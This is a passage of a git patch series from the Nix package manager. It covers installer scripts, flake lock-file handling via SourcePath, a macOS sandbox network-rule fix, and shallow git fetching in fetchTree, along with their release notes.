warning="\033[1;35mwarning:\033[0m" - printf "$warning Both %s and legacy %s exist; using the latter.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 + printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then printf " Since the profiles match, you can safely delete either of them.\n" 1>&2 else @@ -26,6 +24,7 @@ if [ -n "$HOME" ] && [ -n "$USER" ]; then printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2 fi fi + NIX_LINK="$NIX_LINK_NEW" fi # Set up environment. From 29eb4d354ab0ef07a2099f7ecb17a14585e059c3 Mon Sep 17 00:00:00 2001 From: w Date: Fri, 29 Dec 2023 07:14:53 +0000 Subject: [PATCH 0129/1251] nix-profile: add cross reference to installer test --- scripts/nix-profile-daemon.sh.in | 1 + scripts/nix-profile.sh.in | 1 + 2 files changed, 2 insertions(+) diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in index 6a7318912..f0e396da0 100644 --- a/scripts/nix-profile-daemon.sh.in +++ b/scripts/nix-profile-daemon.sh.in @@ -1,4 +1,5 @@ # Only execute this file once per shell. +# This file is tested by tests/installer/default.nix. if [ -n "${__ETC_PROFILE_NIX_SOURCED:-}" ]; then return; fi __ETC_PROFILE_NIX_SOURCED=1 diff --git a/scripts/nix-profile.sh.in b/scripts/nix-profile.sh.in index 7fa0f4a7f..e868399b1 100644 --- a/scripts/nix-profile.sh.in +++ b/scripts/nix-profile.sh.in @@ -1,3 +1,4 @@ +# This file is tested by tests/installer/default.nix. if [ -n "$HOME" ] && [ -n "$USER" ]; then # Set up the per-user profile. From 4e3dc5f925b8e84b85a1d9b52b57c0e70b45f664 Mon Sep 17 00:00:00 2001 From: w Date: Sat, 30 Dec 2023 06:24:06 +0000 Subject: [PATCH 0130/1251] tests: test with conflicting profile links --- tests/installer/default.nix | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/tests/installer/default.nix b/tests/installer/default.nix index 238c6ac8e..4aed6eae4 100644 --- a/tests/installer/default.nix +++ b/tests/installer/default.nix @@ -13,6 +13,17 @@ let ''; }; + install-both-profile-links = { + script = '' + tar -xf ./nix.tar.xz + mv ./nix-* nix + ln -s $HOME/.local/state/nix/profiles/a-profile $HOME/.nix-profile + mkdir -p $HOME/.local/state/nix + ln -s $HOME/.local/state/nix/profiles/b-profile $HOME/.local/state/nix/profile + ./nix/install --no-channel-add + ''; + }; + install-force-no-daemon = { script = '' tar -xf ./nix.tar.xz From 8594f3cd5ad34838b2b7997af4909160e5887d73 Mon Sep 17 00:00:00 2001 From: Bryan Lai Date: Wed, 31 Jan 2024 19:41:17 +0800 Subject: [PATCH 0131/1251] libutil/url: fix git+file:./ parse error Previously, the "file:./" prefix was not correctly recognized in fixGitURL; instead, it was mistaken as a file path, which resulted in a parsed url of the form "file://file:./". This commit fixes the issue by properly detecting the "file:" prefix. Note, however, that unlike "file://", the "file:./" URI is _not_ standardized, but has been widely used to referred to relative file paths. In particular, the "git+file:./" did work for nix<=2.18, and was broken since nix 2.19.0. Finally, this commit fixes the issue completely for the 2.19 series, but is still inadequate for the 2.20 series due to new behaviors from the switch to libgit2. However, it does improve the correctness of parsing even though it is not yet a complete solution. --- src/libutil/url.cc | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/libutil/url.cc b/src/libutil/url.cc index c6561441d..f4178f87f 100644 --- a/src/libutil/url.cc +++ b/src/libutil/url.cc @@ -171,16 +171,16 @@ std::string fixGitURL(const std::string & url) std::regex scpRegex("([^/]*)@(.*):(.*)"); if (!hasPrefix(url, "/") && std::regex_match(url, scpRegex)) return std::regex_replace(url, scpRegex, "ssh://$1@$2/$3"); - else { - if (url.find("://") == std::string::npos) { - return (ParsedURL { - .scheme = "file", - .authority = "", - .path = url - }).to_string(); - } else - return url; + if (hasPrefix(url, "file:")) + return url; + if (url.find("://") == std::string::npos) { + return (ParsedURL { + .scheme = "file", + .authority = "", + .path = url + }).to_string(); } + return url; } // https://www.rfc-editor.org/rfc/rfc3986#section-3.1 From dc439eaf236ea1ef5c291b50de25817df8103041 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 1 Feb 2024 11:20:19 -0500 Subject: [PATCH 0132/1251] Fill in missing markdown link dest --- src/libstore/local-overlay-store.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md index 813efc3e9..882d2c5ce 100644 --- a/src/libstore/local-overlay-store.md +++ b/src/libstore/local-overlay-store.md @@ -88,7 +88,7 @@ Before accessing the overlay store you will need to ensure the OverlayFS mount i Note that OverlayFS requires `/mnt/example/workdir` to be on the same volume as the `upperdir`. By default, Nix will check that the mountpoint as been set up correctly and fail with an error if it has not. -You can override this behaviour by passing [`check-mount=false`](???) if you need to. +You can override this behaviour by passing [`check-mount=false`](#store-experimental-local-overlay-store-check-mount) if you need to. From 016db2d10fe00baa3c72ab6b5bbb480371df711f Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Fri, 2 Feb 2024 17:49:10 -0800 Subject: [PATCH 0133/1251] Add position information to `while evaluating the attribute` --- src/libexpr/eval.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 91fd3ddf8..9fee05290 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1384,7 +1384,7 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) state, *this, env, - state.positions[pos2], + state.positions[getPos()], "while evaluating the attribute '%1%'", showAttrPath(state, env, attrPath)) : nullptr; From 24205a87039cab89e6efcd6ec7d62de1c2c3b51f Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 5 Feb 2024 13:00:39 -0800 Subject: [PATCH 0134/1251] Add release note --- ...-location-in-while-evaluating-attribute.md | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 doc/manual/rl-next/source-location-in-while-evaluating-attribute.md diff --git a/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md b/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md new file mode 100644 index 000000000..0e0b74c5a --- /dev/null +++ b/doc/manual/rl-next/source-location-in-while-evaluating-attribute.md @@ -0,0 +1,23 @@ +--- +synopsis: "In the debugger, `while evaluating the attribute` errors now include position information" +prs: 9915 +--- + +Before: + +``` +0: while evaluating the attribute 'python311.pythonForBuild.pkgs' +0x600001522598 +``` + +After: + +``` +0: while evaluating the attribute 'python311.pythonForBuild.pkgs' +/nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in +``` From 24fd7e2755bed3a854f8089c2db2fed89eb07f56 Mon Sep 17 00:00:00 2001 From: ramboman Date: Sat, 24 Feb 2024 01:00:13 +0000 Subject: [PATCH 0135/1251] `install-multi-user.sh`: `_sudo`: add proxy variables to sudo --- scripts/install-multi-user.sh | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index ad3ee8881..1dbb93bf9 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -58,6 +58,31 @@ readonly EXTRACTED_NIX_PATH="$(dirname "$0")" readonly ROOT_HOME=~root +readonly PROXY_ENVIRONMENT_VARIABLES=( + http_proxy + https_proxy + ftp_proxy + no_proxy + HTTP_PROXY + HTTPS_PROXY + FTP_PROXY + NO_PROXY +) + +SUDO_EXTRA_ENVIRONMENT_VARIABLES=() + +setup_sudo_extra_environment_variables() { + local i=${#SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]} + for variable in "${PROXY_ENVIRONMENT_VARIABLES[@]}"; do + if [ "x${!variable:-}" != "x" ]; then + SUDO_EXTRA_ENVIRONMENT_VARIABLES[i]="$variable=${!variable}" + i=$((i + 1)) + fi + done +} + +setup_sudo_extra_environment_variables + if [ -t 0 ] && [ -z "${NIX_INSTALLER_YES:-}" ]; then readonly IS_HEADLESS='no' else @@ -361,7 +386,7 @@ _sudo() { if is_root; then env "$@" else - sudo "$@" + sudo "${SUDO_EXTRA_ENVIRONMENT_VARIABLES[@]}" "$@" fi } From 9f11b1b0c4724ad81f91f14756b475e0de64379f Mon Sep 17 00:00:00 2001 From: Olmo Kramer Date: Sat, 24 Feb 2024 20:58:44 +0100 Subject: [PATCH 0136/1251] Accept multiple inputs in `nix flake update` --- src/nix/flake.cc | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 131589f35..de23a122d 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -88,17 +88,19 @@ public: expectArgs({ .label="inputs", .optional=true, - .handler={[&](std::string inputToUpdate){ - InputPath inputPath; - try { - inputPath = flake::parseInputPath(inputToUpdate); - } catch (Error & e) { - warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); - throw e; + .handler={[&](std::vector inputsToUpdate){ + for (auto inputToUpdate : inputsToUpdate) { + InputPath inputPath; + try { + inputPath = flake::parseInputPath(inputToUpdate); + } catch (Error & e) { + warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); + throw e; + } + if (lockFlags.inputUpdates.contains(inputPath)) + warn("Input '%s' was specified multiple times. You may have done this by accident."); + lockFlags.inputUpdates.insert(inputPath); } - if (lockFlags.inputUpdates.contains(inputPath)) - warn("Input '%s' was specified multiple times. You may have done this by accident."); - lockFlags.inputUpdates.insert(inputPath); }}, .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix); From d60c3f7f7c83134b5b4470ed84b6d5ed38e28753 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20=C5=BDlender?= Date: Sun, 25 Feb 2024 23:00:57 +0100 Subject: [PATCH 0137/1251] Fix __darwinAllowLocalNetworking sandbox The sandbox rule `(allow network* (local ip))` doesn't do what it implies. Adding this rule permits all network traffic. We should be matching on (remote ip "localhost:*")` instead. --- src/libstore/build/sandbox-defaults.sb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/sandbox-defaults.sb b/src/libstore/build/sandbox-defaults.sb index 25ec11285..2ad5fb616 100644 --- a/src/libstore/build/sandbox-defaults.sb +++ b/src/libstore/build/sandbox-defaults.sb @@ -45,7 +45,7 @@ R""( ; allow it if the package explicitly asks for it. (if (param "_ALLOW_LOCAL_NETWORKING") (begin - (allow network* (local ip) (local tcp) (local udp)) + (allow network* (remote ip "localhost:*")) ; Allow access to /etc/resolv.conf (which is a symlink to ; /private/var/run/resolv.conf). From 598deb2b23bc59df61c92ea25745d675686f3991 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 26 Feb 2024 15:08:08 +0100 Subject: [PATCH 0138/1251] Use SourcePath for reading flake.{nix,lock} Flakes still reside in the Nix store (so there shouldn't be any change in behaviour), but they are now accessed via the rootFS accessor. Since rootFS implements access checks, we no longer have to worry about flake.{nix,lock} or their parents being symlinks that escape from the flake. Extracted from the lazy-trees branch. --- src/libcmd/installables.cc | 3 +- src/libexpr/flake/flake.cc | 93 ++++++++++++++++++----------------- src/libexpr/flake/flake.hh | 17 +++++-- src/libexpr/flake/lockfile.cc | 10 ++-- src/libexpr/flake/lockfile.hh | 4 +- src/nix/flake.cc | 13 +++-- 6 files changed, 77 insertions(+), 63 deletions(-) diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc index 16d25d3cf..d87d7b9b1 100644 --- a/src/libcmd/installables.cc +++ b/src/libcmd/installables.cc @@ -21,6 +21,7 @@ #include "url.hh" #include "registry.hh" #include "build-result.hh" +#include "fs-input-accessor.hh" #include #include @@ -146,7 +147,7 @@ MixFlakeOptions::MixFlakeOptions() .category = category, .labels = {"flake-lock-path"}, .handler = {[&](std::string lockFilePath) { - lockFlags.referenceLockFilePath = lockFilePath; + lockFlags.referenceLockFilePath = getUnfilteredRootPath(CanonPath(absPath(lockFilePath))); }}, .completer = completePath }); diff --git a/src/libexpr/flake/flake.cc b/src/libexpr/flake/flake.cc index 022d39cdb..fd9341504 100644 --- a/src/libexpr/flake/flake.cc +++ b/src/libexpr/flake/flake.cc @@ -139,7 +139,7 @@ static FlakeInput parseFlakeInput(EvalState & state, attrs.emplace(state.symbols[attr.name], Explicit { attr.value->boolean }); break; case nInt: - attrs.emplace(state.symbols[attr.name], (long unsigned int)attr.value->integer); + attrs.emplace(state.symbols[attr.name], (long unsigned int) attr.value->integer); break; default: if (attr.name == state.symbols.create("publicKeys")) { @@ -202,43 +202,28 @@ static std::map parseFlakeInputs( return inputs; } -static Flake getFlake( +static Flake readFlake( EvalState & state, const FlakeRef & originalRef, - bool allowLookup, - FlakeCache & flakeCache, - InputPath lockRootPath) + const FlakeRef & resolvedRef, + const FlakeRef & lockedRef, + const SourcePath & rootDir, + const InputPath & lockRootPath) { - auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( - state, originalRef, allowLookup, flakeCache); + auto flakePath = rootDir / CanonPath(resolvedRef.subdir) / "flake.nix"; - // We need to guard against symlink attacks, but before we start doing - // filesystem operations we should make sure there's a flake.nix in the - // first place. - auto unsafeFlakeDir = state.store->toRealPath(storePath) + "/" + lockedRef.subdir; - auto unsafeFlakeFile = unsafeFlakeDir + "/flake.nix"; - if (!pathExists(unsafeFlakeFile)) - throw Error("source tree referenced by '%s' does not contain a '%s/flake.nix' file", lockedRef, lockedRef.subdir); + Value vInfo; + state.evalFile(flakePath, vInfo, true); - // Guard against symlink attacks. - auto flakeDir = canonPath(unsafeFlakeDir, true); - auto flakeFile = canonPath(flakeDir + "/flake.nix", true); - if (!isInDir(flakeFile, state.store->toRealPath(storePath))) - throw Error("'flake.nix' file of flake '%s' escapes from '%s'", - lockedRef, state.store->printStorePath(storePath)); + expectType(state, nAttrs, vInfo, state.positions.add(Pos::Origin(rootDir), 1, 1)); Flake flake { .originalRef = originalRef, .resolvedRef = resolvedRef, .lockedRef = lockedRef, - .storePath = storePath, + .path = flakePath, }; - Value vInfo; - state.evalFile(state.rootPath(CanonPath(flakeFile)), vInfo, true); // FIXME: symlink attack - - expectType(state, nAttrs, vInfo, state.positions.add({state.rootPath(CanonPath(flakeFile))}, 1, 1)); - if (auto description = vInfo.attrs->get(state.sDescription)) { expectType(state, nString, *description->value, description->pos); flake.description = description->value->c_str(); @@ -247,7 +232,7 @@ static Flake getFlake( auto sInputs = state.symbols.create("inputs"); if (auto inputs = vInfo.attrs->get(sInputs)) - flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakeDir, lockRootPath); + flake.inputs = parseFlakeInputs(state, inputs->value, inputs->pos, flakePath.parent().path.abs(), lockRootPath); // FIXME auto sOutputs = state.symbols.create("outputs"); @@ -264,7 +249,7 @@ static Flake getFlake( } } else - throw Error("flake '%s' lacks attribute 'outputs'", lockedRef); + throw Error("flake '%s' lacks attribute 'outputs'", resolvedRef); auto sNixConfig = state.symbols.create("nixConfig"); @@ -281,7 +266,7 @@ static Flake getFlake( NixStringContext emptyContext = {}; flake.config.settings.emplace( state.symbols[setting.name], - state.coerceToString(setting.pos, *setting.value, emptyContext, "", false, true, true) .toOwned()); + state.coerceToString(setting.pos, *setting.value, emptyContext, "", false, true, true).toOwned()); } else if (setting.value->type() == nInt) flake.config.settings.emplace( @@ -313,12 +298,25 @@ static Flake getFlake( attr.name != sOutputs && attr.name != sNixConfig) throw Error("flake '%s' has an unsupported attribute '%s', at %s", - lockedRef, state.symbols[attr.name], state.positions[attr.pos]); + resolvedRef, state.symbols[attr.name], state.positions[attr.pos]); } return flake; } +static Flake getFlake( + EvalState & state, + const FlakeRef & originalRef, + bool allowLookup, + FlakeCache & flakeCache, + InputPath lockRootPath) +{ + auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( + state, originalRef, allowLookup, flakeCache); + + return readFlake(state, originalRef, resolvedRef, lockedRef, state.rootPath(state.store->toRealPath(storePath)), lockRootPath); +} + Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup, FlakeCache & flakeCache) { return getFlake(state, originalRef, allowLookup, flakeCache, {}); @@ -330,6 +328,13 @@ Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup return getFlake(state, originalRef, allowLookup, flakeCache); } +static LockFile readLockFile(const SourcePath & lockFilePath) +{ + return lockFilePath.pathExists() + ? LockFile(lockFilePath.readFile(), fmt("%s", lockFilePath)) + : LockFile(); +} + /* Compute an in-memory lock file for the specified top-level flake, and optionally write it to file, if the flake is writable. */ LockedFlake lockFlake( @@ -355,17 +360,16 @@ LockedFlake lockFlake( throw Error("reference lock file was provided, but the `allow-dirty` setting is set to false"); } - // FIXME: symlink attack - auto oldLockFile = LockFile::read( + auto oldLockFile = readLockFile( lockFlags.referenceLockFilePath.value_or( - state.store->toRealPath(flake.storePath) + "/" + flake.lockedRef.subdir + "/flake.lock")); + flake.lockFilePath())); debug("old lock file: %s", oldLockFile); std::map overrides; std::set explicitCliOverrides; std::set overridesUsed, updatesUsed; - std::map, StorePath> nodePaths; + std::map, SourcePath> nodePaths; for (auto & i : lockFlags.inputOverrides) { overrides.insert_or_assign(i.first, FlakeInput { .ref = i.second }); @@ -538,7 +542,7 @@ LockedFlake lockFlake( if (mustRefetch) { auto inputFlake = getFlake(state, oldLock->lockedRef, false, flakeCache, inputPath); - nodePaths.emplace(childNode, inputFlake.storePath); + nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks(inputFlake.inputs, childNode, inputPath, oldLock, lockRootPath, parentPath, false); } else { computeLocks(fakeInputs, childNode, inputPath, oldLock, lockRootPath, parentPath, true); @@ -587,13 +591,12 @@ LockedFlake lockFlake( flake. Also, unless we already have this flake in the top-level lock file, use this flake's own lock file. */ - nodePaths.emplace(childNode, inputFlake.storePath); + nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks( inputFlake.inputs, childNode, inputPath, oldLock ? std::dynamic_pointer_cast(oldLock) - : LockFile::read( - state.store->toRealPath(inputFlake.storePath) + "/" + inputFlake.lockedRef.subdir + "/flake.lock").root.get_ptr(), + : readLockFile(inputFlake.lockFilePath()).root.get_ptr(), oldLock ? lockRootPath : inputPath, localPath, false); @@ -605,7 +608,7 @@ LockedFlake lockFlake( auto childNode = make_ref(lockedRef, ref, false); - nodePaths.emplace(childNode, storePath); + nodePaths.emplace(childNode, state.rootPath(state.store->toRealPath(storePath))); node->inputs.insert_or_assign(id, childNode); } @@ -619,9 +622,9 @@ LockedFlake lockFlake( }; // Bring in the current ref for relative path resolution if we have it - auto parentPath = canonPath(state.store->toRealPath(flake.storePath) + "/" + flake.lockedRef.subdir, true); + auto parentPath = flake.path.parent().path.abs(); - nodePaths.emplace(newLockFile.root, flake.storePath); + nodePaths.emplace(newLockFile.root, flake.path.parent()); computeLocks( flake.inputs, @@ -746,13 +749,15 @@ void callFlake(EvalState & state, auto overrides = state.buildBindings(lockedFlake.nodePaths.size()); - for (auto & [node, storePath] : lockedFlake.nodePaths) { + for (auto & [node, sourcePath] : lockedFlake.nodePaths) { auto override = state.buildBindings(2); auto & vSourceInfo = override.alloc(state.symbols.create("sourceInfo")); auto lockedNode = node.dynamic_pointer_cast(); + auto [storePath, subdir] = state.store->toStorePath(sourcePath.path.abs()); + emitTreeAttrs( state, storePath, @@ -766,7 +771,7 @@ void callFlake(EvalState & state, override .alloc(state.symbols.create("dir")) - .mkString(lockedNode ? lockedNode->lockedRef.subdir : lockedFlake.flake.lockedRef.subdir); + .mkString(CanonPath(subdir).rel()); overrides.alloc(state.symbols.create(key->second)).mkAttrs(override); } @@ -928,7 +933,7 @@ Fingerprint LockedFlake::getFingerprint() const // flake.sourceInfo.storePath for the fingerprint. return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%d;%d;%s", - flake.storePath.to_string(), + flake.path.to_string(), flake.lockedRef.subdir, flake.lockedRef.input.getRevCount().value_or(0), flake.lockedRef.input.getLastModified().value_or(0), diff --git a/src/libexpr/flake/flake.hh b/src/libexpr/flake/flake.hh index 19b680c56..48907813f 100644 --- a/src/libexpr/flake/flake.hh +++ b/src/libexpr/flake/flake.hh @@ -77,18 +77,27 @@ struct Flake * the specific local store result of invoking the fetcher */ FlakeRef lockedRef; + /** + * The path of `flake.nix`. + */ + SourcePath path; /** * pretend that 'lockedRef' is dirty */ bool forceDirty = false; std::optional description; - StorePath storePath; FlakeInputs inputs; /** * 'nixConfig' attribute */ ConfigFile config; + ~Flake(); + + SourcePath lockFilePath() + { + return path.parent() / "flake.lock"; + } }; Flake getFlake(EvalState & state, const FlakeRef & flakeRef, bool allowLookup); @@ -104,11 +113,11 @@ struct LockedFlake LockFile lockFile; /** - * Store paths of nodes that have been fetched in + * Source tree accessors for nodes that have been fetched in * lockFlake(); in particular, the root node and the overriden * inputs. */ - std::map, StorePath> nodePaths; + std::map, SourcePath> nodePaths; Fingerprint getFingerprint() const; }; @@ -165,7 +174,7 @@ struct LockFlags /** * The path to a lock file to read instead of the `flake.lock` file in the top-level flake */ - std::optional referenceLockFilePath; + std::optional referenceLockFilePath; /** * The path to a lock file to write to instead of the `flake.lock` file in the top-level flake diff --git a/src/libexpr/flake/lockfile.cc b/src/libexpr/flake/lockfile.cc index e3a28c7c6..d252214dd 100644 --- a/src/libexpr/flake/lockfile.cc +++ b/src/libexpr/flake/lockfile.cc @@ -84,8 +84,10 @@ std::shared_ptr LockFile::findInput(const InputPath & path) return doFind(root, path, visited); } -LockFile::LockFile(const nlohmann::json & json, const Path & path) +LockFile::LockFile(std::string_view contents, std::string_view path) { + auto json = nlohmann::json::parse(contents); + auto version = json.value("version", 0); if (version < 5 || version > 7) throw Error("lock file '%s' has unsupported version %d", path, version); @@ -203,12 +205,6 @@ std::pair LockFile::to_string() const return {json.dump(2), std::move(nodeKeys)}; } -LockFile LockFile::read(const Path & path) -{ - if (!pathExists(path)) return LockFile(); - return LockFile(nlohmann::json::parse(readFile(path)), path); -} - std::ostream & operator <<(std::ostream & stream, const LockFile & lockFile) { stream << lockFile.toJSON().first.dump(2); diff --git a/src/libexpr/flake/lockfile.hh b/src/libexpr/flake/lockfile.hh index 57a7202a2..7e62e6d09 100644 --- a/src/libexpr/flake/lockfile.hh +++ b/src/libexpr/flake/lockfile.hh @@ -55,7 +55,7 @@ struct LockFile ref root = make_ref(); LockFile() {}; - LockFile(const nlohmann::json & json, const Path & path); + LockFile(std::string_view contents, std::string_view path); typedef std::map, std::string> KeyMap; @@ -63,8 +63,6 @@ struct LockFile std::pair to_string() const; - static LockFile read(const Path & path); - /** * Check whether this lock file has any unlocked inputs. If so, * return one. diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 131589f35..e4daa4dba 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -205,6 +205,9 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON auto lockedFlake = lockFlake(); auto & flake = lockedFlake.flake; + // Currently, all flakes are in the Nix store via the rootFS accessor. + auto storePath = store->printStorePath(store->toStorePath(flake.path.path.abs()).first); + if (json) { nlohmann::json j; if (flake.description) @@ -223,7 +226,7 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["revCount"] = *revCount; if (auto lastModified = flake.lockedRef.input.getLastModified()) j["lastModified"] = *lastModified; - j["path"] = store->printStorePath(flake.storePath); + j["path"] = storePath; j["locks"] = lockedFlake.lockFile.toJSON().first; logger->cout("%s", j.dump()); } else { @@ -239,7 +242,7 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON *flake.description); logger->cout( ANSI_BOLD "Path:" ANSI_NORMAL " %s", - store->printStorePath(flake.storePath)); + storePath); if (auto rev = flake.lockedRef.input.getRev()) logger->cout( ANSI_BOLD "Revision:" ANSI_NORMAL " %s", @@ -1031,7 +1034,9 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun StorePathSet sources; - sources.insert(flake.flake.storePath); + auto storePath = store->toStorePath(flake.flake.path.path.abs()).first; + + sources.insert(storePath); // FIXME: use graph output, handle cycles. std::function traverse; @@ -1060,7 +1065,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun if (json) { nlohmann::json jsonRoot = { - {"path", store->printStorePath(flake.flake.storePath)}, + {"path", store->printStorePath(storePath)}, {"inputs", traverse(*flake.lockFile.root)}, }; logger->cout("%s", jsonRoot); From d28a240aa66acaa7691c8d56054cc9fd4c7fd8f3 Mon Sep 17 00:00:00 2001 From: Bob van der Linden Date: Mon, 26 Feb 2024 21:06:07 +0100 Subject: [PATCH 0139/1251] profile: extract getNameFromElement --- src/nix/profile.cc | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/src/nix/profile.cc b/src/nix/profile.cc index fc669d5ed..e04ae008d 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -101,6 +101,15 @@ struct ProfileElement } }; +std::string getNameFromElement(const ProfileElement & element) +{ + std::optional result = std::nullopt; + if (element.source) { + result = getNameFromURL(parseURL(element.source->to_string())); + } + return result.value_or(element.identifier()); +} + struct ProfileManifest { using ProfileElementName = std::string; @@ -189,12 +198,8 @@ struct ProfileManifest void addElement(ProfileElement element) { - auto name = - element.source - ? getNameFromURL(parseURL(element.source->to_string())) - : std::nullopt; - auto name2 = name ? *name : element.identifier(); - addElement(name2, std::move(element)); + auto name = getNameFromElement(element); + addElement(name, std::move(element)); } nlohmann::json toJSON(Store & store) const From 358c26fd13a902d9a4032a00e6683571be07a384 Mon Sep 17 00:00:00 2001 From: DavHau Date: Sat, 17 Feb 2024 19:36:32 +0700 Subject: [PATCH 0140/1251] fetchTree: shallow git fetching by default Motivation: make git fetching more efficient for most repos by default --- .../shallow-git-fetching-by-default.md | 12 +++++ src/libexpr/primops/fetchTree.cc | 27 ++++++++--- .../test-cases/fetchTree-shallow/default.nix | 45 +++++++++++++++++++ 3 files changed, 78 insertions(+), 6 deletions(-) create mode 100644 doc/manual/rl-next/shallow-git-fetching-by-default.md create mode 100644 tests/nixos/fetch-git/test-cases/fetchTree-shallow/default.nix diff --git a/doc/manual/rl-next/shallow-git-fetching-by-default.md b/doc/manual/rl-next/shallow-git-fetching-by-default.md new file mode 100644 index 000000000..4d044f881 --- /dev/null +++ b/doc/manual/rl-next/shallow-git-fetching-by-default.md @@ -0,0 +1,12 @@ +--- +synopsis: "`fetchTree` now fetches git repositories shallowly by default" +prs: 10028 +--- + +`builtins.fetchTree` now clones git repositories shallowly by default, which reduces network traffic and disk usage significantly in many cases. + +Previously, the default behavior was to clone the full history of a specific tag or branch (eg. `ref`) and only afterwards extract the files of one specific revision. + +From now on, the `ref` and `allRefs` arguments will be ignored, except if shallow cloning is disabled by setting `shallow = false`. + +The defaults for `builtins.fetchGit` remain unchanged. Here, shallow cloning has to be enabled manually by passing `shallow = true`. diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 1997d5513..2926e3161 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -138,6 +138,11 @@ static void fetchTree( attrs.emplace("exportIgnore", Explicit{true}); } + // fetchTree should fetch git repos with shallow = true by default + if (type == "git" && !params.isFetchGit && !attrs.contains("shallow")) { + attrs.emplace("shallow", Explicit{true}); + } + if (!params.allowNameArgument) if (auto nameIter = attrs.find("name"); nameIter != attrs.end()) state.error( @@ -321,6 +326,8 @@ static RegisterPrimOp primop_fetchTree({ - `ref` (String, optional) + By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled. + A [Git reference](https://git-scm.com/book/en/v2/Git-Internals-Git-References), such as a branch or tag name. Default: `"HEAD"` @@ -334,8 +341,9 @@ static RegisterPrimOp primop_fetchTree({ - `shallow` (Bool, optional) Make a shallow clone when fetching the Git tree. + When this is enabled, the options `ref` and `allRefs` have no effect anymore. - Default: `false` + Default: `true` - `submodules` (Bool, optional) @@ -345,8 +353,11 @@ static RegisterPrimOp primop_fetchTree({ - `allRefs` (Bool, optional) - If set to `true`, always fetch the entire repository, even if the latest commit is still in the cache. - Otherwise, only the latest commit is fetched if it is not already cached. + By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled. + + Whether to fetch all references (eg. branches and tags) of the repository. + With this argument being true, it's possible to load a `rev` from *any* `ref`. + (Without setting this option, only `rev`s from the specified `ref` are supported). Default: `false` @@ -600,6 +611,8 @@ static RegisterPrimOp primop_fetchGit({ [Git reference]: https://git-scm.com/book/en/v2/Git-Internals-Git-References + This option has no effect once `shallow` cloning is enabled. + By default, the `ref` value is prefixed with `refs/heads/`. As of 2.3.0, Nix will not prefix `refs/heads/` if `ref` starts with `refs/`. @@ -617,13 +630,15 @@ static RegisterPrimOp primop_fetchGit({ - `shallow` (default: `false`) Make a shallow clone when fetching the Git tree. - + When this is enabled, the options `ref` and `allRefs` have no effect anymore. - `allRefs` - Whether to fetch all references of the repository. - With this argument being true, it's possible to load a `rev` from *any* `ref` + Whether to fetch all references (eg. branches and tags) of the repository. + With this argument being true, it's possible to load a `rev` from *any* `ref`. (by default only `rev`s from the specified `ref` are supported). + This option has no effect once `shallow` cloning is enabled. + - `verifyCommit` (default: `true` if `publicKey` or `publicKeys` are provided, 